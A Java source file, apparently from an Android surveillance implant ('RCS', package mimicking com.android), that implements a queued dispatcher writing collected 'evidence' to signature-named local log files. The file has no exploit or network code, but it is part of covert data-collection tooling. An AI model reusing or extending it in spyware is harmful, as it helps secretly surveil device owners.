/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : LogDispatcher.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.evidence; import java.io.File; import java.util.HashMap; import java.util.concurrent.LinkedBlockingQueue; import com.android.dvci.Packet; import com.android.dvci.auto.Cfg; import com.android.dvci.file.Path; import com.android.dvci.util.Check; /** * The Class EvDispatcher collects LogR messages and manages the evidence * creation, write and close. */ public class EvDispatcher extends Thread implements Runnable { private static final String TAG = "EvDispatcher"; //$NON-NLS-1$ /** The singleton. */ private volatile static EvDispatcher singleton; /** The q. */ private final LinkedBlockingQueue<Packet> queue; /** The log map. */ private final HashMap<Long, Evidence> evidences; /** The halt. */ private boolean halt; /** The sd dir. */ private File sdDir; private boolean running; /** The lock. */ // final Lock lock = new ReentrantLock(); /** The no logs. */ // final Condition noLogs = lock.newCondition(); //private Object emptyQueue = new Object(); /* * private BroadcastReceiver mExternalStorageReceiver; private boolean * mExternalStorageAvailable = false; private boolean * mExternalStorageWriteable = false; */ /** * Instantiates a new log dispatcher. */ private EvDispatcher() { halt = false; queue = new LinkedBlockingQueue<Packet>(Cfg.EV_QUEUE_LEN); evidences = new HashMap<Long, Evidence>(); if (Cfg.DEBUG) { setName(getClass().getSimpleName()); } } // Log name: QZM + 1 byte + 8 bytes + 4 bytes // QZA -> Signature // 1 byte -> Priority: 1 max - 255 min // 8 bytes -> Timestamp // 4 bytes -> .tmp while writing, .log when ready // // Markup name: QZM + 4 byte + 4 byte // QZM -> Signature // 4 bytes -> Log Type // 4 bytes -> .mrk /** * Process queue. */ private void processQueue() { Packet p=null; try { p = queue.take(); } catch (InterruptedException e) { if (Cfg.DEBUG) { Check.log(TAG + " (processQueue) Error: " + e); } } if (Cfg.DEBUG) { //Check.log(TAG + " (processQueue) command: " + p.getCommand()); } switch (p.getCommand()) { case EvidenceBuilder.LOG_CREATE: createEv(p); break; case EvidenceBuilder.LOG_ATOMIC: atomicEv(p); break; case EvidenceBuilder.LOG_APPEND: appendEv(p); break; case EvidenceBuilder.LOG_WRITE: writeEv(p); break; case EvidenceBuilder.LOG_ITEMS: itemsEv(p); break; case EvidenceBuilder.LOG_CLOSE: closeEv(p); break; case EvidenceBuilder.INTERRUPT: if (Cfg.DEBUG) { Check.log(TAG + " (processQueue), INTERRUPT"); } halt=true; break; default: if (Cfg.DEBUG) { Check.log(TAG + " Error: " + "processQueue() got LOG_UNKNOWN"); //$NON-NLS-1$ //$NON-NLS-2$ } break; } return; } /** * Self. * * @return the log dispatcher */ public static EvDispatcher self() { if (singleton == null) { synchronized (EvDispatcher.class) { if (singleton == null) { singleton = new EvDispatcher(); } } } return singleton; } /* * (non-Javadoc) * * @see java.lang.Thread#run() */ @Override public void run() { if (Cfg.DEBUG) { Check.log(TAG + " LogDispatcher started"); //$NON-NLS-1$ } running = true; // Create log directory sdDir = new File(Path.logs()); sdDir.mkdirs(); // Debug - used to remove the directory // sdDir(); while (!halt) { processQueue(); } queue.clear(); evidences.clear(); running = false; if (Cfg.DEBUG) { Check.log(TAG + " LogDispatcher closing"); //$NON-NLS-1$ } } /** * Send. * * @param packet * the packet * @return true, if successful */ public void send(final Packet packet) { try { queue.put(packet); } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e);//$NON-NLS-1$ } } } /** * Halt. */ public void halt() { if (Cfg.DEBUG) { Check.log(TAG + " (halt)"); } halt = true; queue.add(new Packet()); } public boolean isRunning(){ return running; } /** * Creates the log. * * @param p * the p * @return true, if successful */ private boolean createEv(final Packet p) { if (Cfg.DEBUG) { Check.ensures(!evidences.containsKey(p.getId()), "evidence already mapped"); //$NON-NLS-1$ } final byte[] additional = p.getAdditional(); final Evidence evidence = new Evidence(p.getType()); if (evidence.createEvidence(additional)) { evidences.put(p.getId(), evidence); } return true; } /** * Creates a simple log, copies the payload and closes it in one atomic * step. * * @param p * the p */ private void atomicEv(final Packet p) { if (Cfg.DEBUG) { Check.ensures(!evidences.containsKey(p.getId()), "evidence already mapped"); //$NON-NLS-1$ } final byte[] additional = p.getAdditional(); final byte[] data = p.getData(); int len = p.getDataLength(); final Evidence evidence = new Evidence(p.getType()); evidence.createEvidence(additional); evidence.writeEvidence(data, 0, len); evidence.close(); } private void itemsEv(Packet p) { if (Cfg.DEBUG) { Check.ensures(!evidences.containsKey(p.getId()), "evidence already mapped"); //$NON-NLS-1$ } // final byte[] additional = p.getAdditional(); final byte[] data = p.getData(); final Evidence evidence = new Evidence(p.getType()); evidence.atomicWriteOnce(p.getItems()); } /** * Write log. * * @param p * the p * @return true, if successful */ private boolean writeEv(final Packet p) { if (evidences.containsKey(p.getId()) == false) { if (Cfg.DEBUG) { Check.log(TAG + " Requested log not found"); //$NON-NLS-1$ } return false; } final Evidence evidence = evidences.get(p.getId()); final boolean ret = evidence.writeEvidence(p.getData(), 0, p.getDataLength()); return ret; } private boolean appendEv(Packet p) { if (evidences.containsKey(p.getId()) == false) { if (Cfg.DEBUG) { Check.log(TAG + " Requested log not found"); //$NON-NLS-1$ } return false; } final Evidence evidence = evidences.get(p.getId()); final boolean ret = evidence.appendEvidence(p.getData(), 0, p.getDataLength()); return ret; } /** * Close log. * * @param p * the p * @return true, if successful */ private boolean closeEv(final Packet p) { if (evidences.containsKey(p.getId()) == false) { if (Cfg.DEBUG) { Check.log(TAG + " Requested log not found"); //$NON-NLS-1$ } return false; } // Rename .tmp to .log final Evidence evidence = evidences.get(p.getId()); if (evidence != null) { if (Cfg.DEBUG) { Check.log(TAG + " (closeLog): " + evidence); } evidence.close(); } else { if (Cfg.DEBUG) { Check.log(TAG + " ERROR (closeLog): evidence==null"); } } evidences.remove(p.getId()); return true; } }